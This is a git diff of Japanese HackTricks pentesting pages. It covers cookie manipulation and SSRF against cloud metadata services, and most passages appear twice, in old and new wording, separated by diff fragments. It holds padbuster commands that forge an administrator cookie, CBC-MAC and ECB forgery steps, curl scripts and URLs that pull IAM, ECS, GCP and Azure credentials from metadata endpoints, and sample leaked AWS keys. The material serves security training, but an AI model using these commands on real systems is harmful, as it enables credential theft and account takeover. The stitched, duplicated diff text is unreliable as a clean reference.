この攻撃は、現在認証されているWebアプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストとともに自動的に送信されるCookieを悪用することができます。
|
||||
この攻撃は、現在認証されているWebアプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストに自動的に送信されるCookieを悪用することができます。
|
||||
|
||||
### 空のCookie
|
||||
|
||||
([元の研究](https://blog.ankursundara.com/cookie-bugs/)で詳細を確認してください)ブラウザは、名前のないCookieの作成を許可します。これはJavaScriptを使用して次のように示すことができます。
|
||||
([元の研究](https://blog.ankursundara.com/cookie-bugs/)で詳細を確認してください)ブラウザは、名前のないCookieを作成することを許可しており、JavaScriptを使用して次のように示すことができます。
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
以下は送信されたCookieヘッダー内の結果です:`a=v1; test value; b=v2;`。興味深いことに、空の名前Cookieが設定されると、他のCookieを制御する可能性があります。特定の値に空のCookieを設定することで、他のCookieを操作できます。
|
||||
以下は送信されるCookieヘッダーの結果です:`a=v1; test value; b=v2;`。興味深いことに、空の名前のCookieが設定されると、他のCookieを制御する可能性があります。特定の値に空のCookieを設定することで、他のCookieを操作できます。
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -182,23 +182,23 @@ Chromeでは、設定されたクッキーにUnicodeサロゲートコードポ
|
|||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
これにより、`document.cookie` が空の文字列を出力し、永続的な破損が示されます。
|
||||
これにより、`document.cookie` は空の文字列を出力し、永続的な破損を示します。
|
||||
|
||||
#### パーシングの問題によるCookieスマグリング
|
||||
|
||||
(詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してください)Java(Jetty、TomCat、Undertow)およびPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理します。セミコロンを含むダブルクォートで囲まれたCookie値を、通常はキーと値のペアを区切るはずのセミコロンを含む単一の値として読み取ります。
|
||||
([元の研究](https://blog.ankursundara.com/cookie-bugs/)で詳細を確認してください)Java(Jetty、TomCat、Undertow)およびPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理しています。セミコロンを含むダブルクォートで囲まれたCookie値を、通常はキーと値を区切るはずのセミコロンを含んでいても、単一の値として読み取ります。
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) サーバーによるクッキーの誤った解析、特にUndertow、Zope、Pythonの`http.cookie.SimpleCookie`および`http.cookie.BaseCookie`を使用するサーバーは、クッキーインジェクション攻撃の機会を作成します。これらのサーバーは新しいクッキーの開始を適切に区切らず、攻撃者がクッキーをスプーフィングすることを可能にします:
|
||||
(詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照) サーバーによるクッキーの誤った解析、特にUndertow、Zope、Pythonの`http.cookie.SimpleCookie`および`http.cookie.BaseCookie`を使用するサーバーは、クッキーインジェクション攻撃の機会を作成します。これらのサーバーは新しいクッキーの開始を適切に区切らず、攻撃者がクッキーを偽装することを可能にします:
|
||||
|
||||
- Undertowは、セミコロンなしで引用された値の直後に新しいクッキーを期待します。
|
||||
- Undertowは、セミコロンなしで引用符で値の後に新しいクッキーを期待します。
|
||||
- Zopeは、次のクッキーの解析を開始するためにコンマを探します。
|
||||
- Pythonのクッキークラスは、スペース文字で解析を開始します。
|
||||
|
||||
この脆弱性は、クッキーをベースにしたCSRF保護に依存するWebアプリケーションにおいて特に危険であり、攻撃者がスプーフィングされたCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きする点に関して懸念があります。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーについても懸念があり、クッキーがスプーフィングに対して脆弱なバックエンドサーバーに渡されると認可バイパスが発生する可能性があります。
|
||||
この脆弱性は、クッキーをベースにしたCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者がスプーフィングされたCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きする点に関して懸念があります。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーについても懸念があり、クッキーがスプーフィングに対して脆弱なバックエンドサーバーに渡されると認可バイパスが発生する可能性があります。
|
||||
|
||||
### 追加の脆弱なクッキーチェック
|
||||
|
||||
|
@ -207,17 +207,17 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
- **クッキー**は**ログイン**ごとに**同じ**です。
|
||||
- ログアウトして同じクッキーを使用してみてください。
|
||||
- 同じクッキーを使用して同じアカウントに2つのデバイス(またはブラウザ)でログインしようとしてみてください。
|
||||
- クッキーに情報が含まれているか確認し、それを変更してみてください。
|
||||
- ほぼ同じユーザ名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。
|
||||
- 存在する場合は「**remember me**」オプションをチェックして、その動作を確認してください。存在し、脆弱である場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。
|
||||
- クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。
|
||||
- ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。
|
||||
- 存在する場合は「**remember me**」オプションを確認して、その動作を確認してください。存在し、脆弱である可能性がある場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。
|
||||
- パスワードを変更した後も以前のクッキーが機能するかどうかを確認してください。
|
||||
|
||||
#### **高度なクッキー攻撃**
|
||||
|
||||
ログイン時にクッキーが同じ(またはほぼ同じ)ままである場合、おそらくクッキーはアカウントのいくつかのフィールドに関連しています(おそらくユーザ名)。その場合は次のようにできます:
|
||||
ログイン時にクッキーが同じ(またはほぼ同じ)ままである場合、おそらくクッキーはアカウントのいくつかのフィールドに関連しています(おそらくユーザー名)。その場合は次のようにできます:
|
||||
|
||||
- 非常に**類似したユーザ名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
|
||||
- **ユーザ名をブルートフォース**してみてください。クッキーがユーザ名の認証方法としてのみ保存されている場合、ユーザ名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。
|
||||
- 非常に**類似したユーザー名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
|
||||
- **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。
|
||||
- **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
|
||||
|
||||
**Padding Oracle - Padbusterの例**
|
||||
|
@ -230,15 +230,15 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbusterは複数の試行を行い、どれがエラー条件であるか(無効な条件)を尋ねます。
|
||||
Padbusterは複数の試行を行い、どの条件がエラー条件であるか(有効ではない条件)を尋ねます。
|
||||
|
||||
その後、Cookieの復号化を開始します(数分かかる場合があります)。
|
||||
その後、クッキーの復号化を開始します(数分かかる場合があります)。
|
||||
|
||||
攻撃が成功した場合、任意の文字列を暗号化してみることができます。たとえば、**user=administrator**を**暗号化**したい場合
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
この実行では、**user=administrator** という文字列が含まれたクッキーが正しく暗号化およびエンコードされます。
|
||||
この実行では、文字列**user=administrator**が含まれたクッキーが正しく暗号化およびエンコードされます。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
|
@ -246,9 +246,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
**攻撃**
|
||||
|
||||
1. ユーザー名 **administ** = **t** の署名を取得します。
|
||||
2. ユーザー名 **rator\x00\x00\x00 XOR t** = **t'** の署名を取得します。
|
||||
3. クッキーに値 **administrator+t'** を設定します(**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)。
|
||||
1. ユーザー名**administ**の署名を取得します = **t**
|
||||
2. ユーザー名**rator\x00\x00\x00 XOR t**の署名を取得します = **t'**
|
||||
3. クッキーに値**administrator+t'**を設定します(**t'**は**(rator\x00\x00\x00 XOR t)XOR t**の有効な署名になります = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
|
@ -259,9 +259,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします。
|
||||
|
||||
例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" という名前のユーザーを作成し、クッキーの中にパターンがあるかどうかを確認します(ECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||
|
||||
パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の "a" がどのように暗号化されるかを知っている場合、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。その後、クッキーから "a" のブロックの暗号化されたパターンを削除することができます。そして、ユーザー名 "admin" のクッキーを取得できます。
|
||||
パターンがあるはずです(使用されるブロックのサイズで)。したがって、「a」の暗号化されたブロックのサイズ +「admin」を持つユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化されたパターンを削除できます。そして、ユーザー名「admin」のクッキーを取得できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -270,20 +270,20 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出することで、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksをPDFでダウンロード**したい場合や**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,14 +26,14 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### AWS EC2環境でのSSRFの悪用
|
||||
|
||||
**メタデータ**エンドポイントは、任意のEC2マシンからアクセスでき、それに関する興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRFが悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**PUT**リクエストで**トークン**を要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要があります(つまり、SSRFで悪用するのは**より複雑**です)。
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRFを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**トークン**を要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要があります(つまり、SSRFで悪用するのが**より複雑**になります)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**には**ホップ制限が1**があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||||
|
||||
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、誤って構成されたリバースプロキシがそれにアクセスできないようにするためです。
|
||||
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。
|
||||
{% endhint %}
|
||||
|
||||
[ドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)にメタデータエンドポイントに関する情報があります。次のスクリプトでは、それから興味深い情報が取得されます:
|
||||
|
@ -96,11 +96,11 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
以下は、**公開されているIAM資格情報**が公開された例です: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
以下は**公開されているIAM資格情報**が露出している例です: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
また、公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
次に、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されていることを**何でも実行**できます。
|
||||
次に、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されている**何でも実行**できます。
|
||||
|
||||
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
|
||||
```
|
||||
|
@ -109,22 +109,22 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
**aws\_session\_token**をお忘れなく、このプロファイルが機能するためには必須です。
|
||||
**aws\_session\_token**を確認してください。このプロファイルが機能するためには不可欠です。
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して特権を調査し、特権昇格を試みるために使用できます。
|
||||
|
||||
### AWS ECS(コンテナサービス)資格情報におけるSSRF
|
||||
### AWS ECS(コンテナサービス)資格情報のSSRF
|
||||
|
||||
**ECS**は、自分でクラスタ管理インフラをスケールする必要がなく、ECSがその管理を行うためにアプリケーションを実行できるEC2インスタンスの論理グループです。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
|
||||
**ECS**は、独自のクラスタ管理インフラをスケーリングする必要なく、アプリケーションを実行できるEC2インスタンスの論理グループです。ECSはその管理を担当しているため、自分でクラスタ管理インフラをスケーリングする必要はありません。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まずは**\<GUID>を見つける必要**があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読む必要があります。\
|
||||
`file:///proc/self/environ`への**Path Traversal**を悪用してそれを読むことができるかもしれません。\
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まず\<GUID>を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読み取る必要があります。\
|
||||
`file:///proc/self/environ`への**Path Traversal**を悪用してそれを読み取ることができるかもしれません。\
|
||||
言及されたhttpアドレスからは、**AccessKey、SecretKey、トークン**が取得できるはずです。
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります(以前に言及されたIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||||
**一部のケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります(以前に言及されたIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Lambda向けSSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -137,7 +137,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
さらに、IAM資格情報に加えて、Lambda関数には**開始時に関数に渡されるイベントデータ**もあります。このデータは[runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**stageVariables**内のような**機密情報**を含む可能性があります。IAM資格情報とは異なり、このデータは**`http://localhost:9001/2018-06-01/runtime/invocation/next`**で標準のSSRF経由でアクセスできます。
|
||||
さらに、IAM資格情報に加えて、Lambda関数には**開始時に関数に渡されるイベントデータ**もあります。このデータは[runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**センシティブな情報**(**stageVariables**内の情報など)を含む可能性があります。IAM資格情報とは異なり、このデータは**`http://localhost:9001/2018-06-01/runtime/invocation/next`**で標準のSSRF経由でアクセスできます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Lambda資格情報**は**環境変数**に格納されています。したがって、Lambdaコードの**スタックトレース**が環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部流出**させることが可能です。
|
||||
|
@ -156,21 +156,21 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
その後、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`を使用して資格情報を使用します。
|
||||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` を使用して資格情報を使用します。
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
[**ここでメタデータエンドポイントに関するドキュメントを見つけることができます**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
|
||||
### Google Cloud用のSSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
### Google CloudのSSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
HTTPヘッダー **`Metadata-Flavor: Google`** が必要であり、次のURLでメタデータエンドポイントにアクセスできます:
|
||||
HTTPヘッダー **`Metadata-Flavor: Google`** が必要であり、次のURLでメタデータエンドポイントにアクセスできます:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
* http://metadata
|
||||
|
||||
情報を抽出するための興味深いエンドポイント:
|
||||
情報を抽出するための興味深いエンドポイント:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -249,7 +249,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Betaは現在ヘッダーを必要としません(Mathias Karlsson @avlidienbrunnさん、ありがとうございます)
|
||||
Betaは現在、ヘッダーを必要としません(Mathias Karlsson @avlidienbrunnさん、ありがとうございます)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -298,7 +298,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
|
||||
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
メタデータエンドポイントは、VMと同じように機能しますが、一部のエンドポイントがありません。
|
||||
メタデータエンドポイントはVMと同じように機能しますが、一部のエンドポイントがありません:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -348,7 +348,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **必ず**ヘッダーに `Metadata: true` を含めること
|
||||
* `X-Forwarded-For` ヘッダーを含めては**いけない**
|
||||
* `X-Forwarded-For` ヘッダーを含めてはいけない
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
|
@ -392,9 +392,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Azure App Service
|
||||
|
||||
**env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらの値を使用してメタデータサーバーと通信するためのトークンを取得できます。
|
||||
